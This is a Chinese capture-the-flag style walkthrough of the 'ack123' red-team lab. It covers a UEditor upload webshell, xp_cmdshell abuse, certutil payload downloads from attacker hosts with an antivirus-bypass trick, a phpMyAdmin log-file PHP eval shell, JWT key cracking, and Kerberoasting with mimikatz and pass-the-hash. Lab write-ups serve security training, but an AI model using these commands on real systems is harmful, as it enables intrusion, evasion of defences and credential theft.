暗月ack123靶场打靶

环境搭建

此靶场是月师傅九月出师考核靶场,搭建过程参考文章红队考核靶场ack123下载和搭建

靶场地址:https://pan.baidu.com/s/13g_1FFg-ZYYpBwkCvKyYWQ 提取码:7fkj

拓补图

考察点

1.站库分离 外网打点

2.过360全家桶

3.过windwos defender

4.过火绒

5.内网漫游

6.多层网络渗透

7.横向渗透

8.jwt token密钥破解

9.权限提升

10.域渗透

11.phpmyadmin写shell

12.sqlserver 提权

外网打点

这里本来要使用frp内网穿透出去,但是太慢了也不太稳定,索性直接添加一张网卡,桥接模式复制物理地址

信息收集

访问首页,发现cms信息

对靶机进一步扫描

扫出后台地址

手动尝试几个密码无果

注册一个账号看看,得到服务器信息,和编辑器版本

UEditor 1.4.3 任意文件上传getshell

google到此编辑器版本存在任意上传 UEditor 1.4.3 任意文件上传getshell

制作上传html的文件

1
2
3
4
<form action="http://www.ackmoon.com/admin/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
shell addr: <input type="text" name="source[]" />
<input type="submit" value="Submit" />
</form>

再生成一个图片马到本地(不要改成aspx后缀),通过CententType来校验文件是否为图片,再根据文件名最后的后缀作为后缀

利用python在马子的目录起一个http服务

1
python3 -m http.server 80

此处有大坑,不要把图片马的名字改为xx.png?.aspx!!,因为这里如果改成了这个名字,?会被url编码成ma.png%3F.aspx,就会被过滤

但是不经过url编码,直接修改为ma.png?.aspx,会报错404

应该就在输入框中加入后缀?.aspx

冰蝎连接

内网打点

信息收集

存在360

存在多个网段

上线到msf提权,也可以上线到cs

提权到system

站库分离打点

这里上线到cs使用Erebus插件里的烂土豆提权到system

查看进程和服务,发现存在mysql,但是并没有sqlserver,由上面我们得到的信息,这个web服务器的数据库应该是sqlserver,那么应该是站库分离

对内网存活主机进行端口扫描,发现sqlserver

猜测22网段的存活主机,就是这台web服务器的数据库,翻翻配置文件,找到sqlserver账号密码

msf添加隧道

再起一个代理,方便给其他工具使用

使用msf自带的模块执行xp_cmdshell,成功执行命令

使用无文件落地上线到cs上发现一直没反应,应该是调用pwershell被杀软拦截了,再使用certutil远程下载也被火绒拦截

1
certutil -urlcache -split -f http://192.168.31.118/beacon.exe C:\Windows\Temp\test.exe

重新Nacicat permium新建一个连接,要用Proxifier走一下kali起的代理

xp_cmdshell默认关闭的,需要手动开启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#启用xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE;

#关闭xp_cmdshell
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',0;
RECONFIGURE;

#恢复/删除xp_cmdshell
EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll';
EXEC sp_dropextendedproc 'xplog70.dll';

执行命令

1
EXEC master..xp_cmdshell 'whoami';

发现杀软,这个命令在kali上执行是报错的可能是回显太长了?

cs直接生成无文件落地,调用pwershell或者直接使用certutil去下载远程后门,都会被火绒拦截

解决办法来自这篇文章 记一次利用mssql上线,这里我直接使用工具MDUT上的com组件方便一点,也需要走代理

1
copy C:\Windows\System32\certutil.exe  C:\windows\temp\sethc.exe

生成免杀shell放到kali上,再用python起一个http服务,用刚刚复制的certutil.exe来下载

免杀项目

1
C:\Windows\Temp\sethc.exe -urlcache -split -f "http://192.168.31.54/pMJYrMDKRj.exe" C:\Windows\Temp\loader.exe

运行后门,上线

1
C:\Windows\Temp\loader.exe

成功bypass火绒上线

粘贴systeminfo信息到在线提权辅助工具,拿到提权可用信息,有的不准自己判断,最后还是试用Erebus插件里的烂土豆提权到system

注入进程到一个x64进程上稳定一下后门,到此已经拿下2台主机,web服务器和数据库服务器,继续横向,继续信息收集

phpmyadmin getshell

发现存活另一台存活主机(前面没开)

存在80端口,用最开始msf起的socks5代理浏览器访问

登录抓个包,发现熟悉的jwt格式密文

加密需要秘钥

用工具来跑

1
2
3
4
5
6
7
git clone https://github.com/ticarpi/jwt_tool.git

cd jwt_tool

python3 -m pip install -r requirements.txt

python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC8xMC4xMC4xLjEzNSIsImF1ZCI6Imh0dHA6XC9cLzEwLjEwLjEuMTM1IiwiaWF0IjoxNjQyMTY0MDA2LCJuYmYiOjE2NDIxNjQwMTYsImV4cCI6MTY0MjE2NDYwNiwiZGF0YSI6eyJ1c2VyaWQiOjEsInVzZXJuYW1lIjoiZGVtbyJ9fQ.mgbBNSJL1MTGep8eJTqfvH-1Zf6F82_Lvp19eGlr0DA -C -d /usr/share/wordlists/rockyou.txt

跑出秘钥 Qweasdzxc5

看了公开wp才知道考点在这个响应头,可以google到phpstudy版本,从而得到phpmyadmin路径 url/phpmyadmin4.8.5(感觉很无厘头。。)

root/Qweasdzxc5 登录成功

phpmyadmin 日志包含写马

1
2
3
4
5
6
7
#查询是否开启日志功能
show variables like '%general%'
#开启日志并修改保存路径
set global general_log='on';
set global general_log_file='C:\\phpstudy_pro\\WWW\\shell.php';
#写入shell
select '<?php @eval($_POST["a"]); ?>';

蚁剑走代理连接

上线到cs,这台靶机是不出网的,所以上线就要用到转发上线

成功上线cs,提权到system

域渗透

信息收集

发现存在域ack123.com,而且存在两张网卡,域控ip 10.10.10.135

域控、域管理员

kerberost攻击域控

1
2
3
4
5
6
Kerberoast攻击共分为五步
1. SPN发现
2. 请求服务票据
3. 导出服务票据
4. 破解服务服务票据
5. 重写服务票据

查询spn服务

1
shell setspn -T ack123.com -q */*

创建票据

1
mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com

列出票据

1
mimikatz kerberos::list

切到temp目录导出票据

下载下来

使用工具爆破密码https://github.com/nidem/kerberoast

根据拿到的密码和前面查询到的域管账号进行hash传递

成功上线dc

在用dc1的域管去横向136那台主机,完事!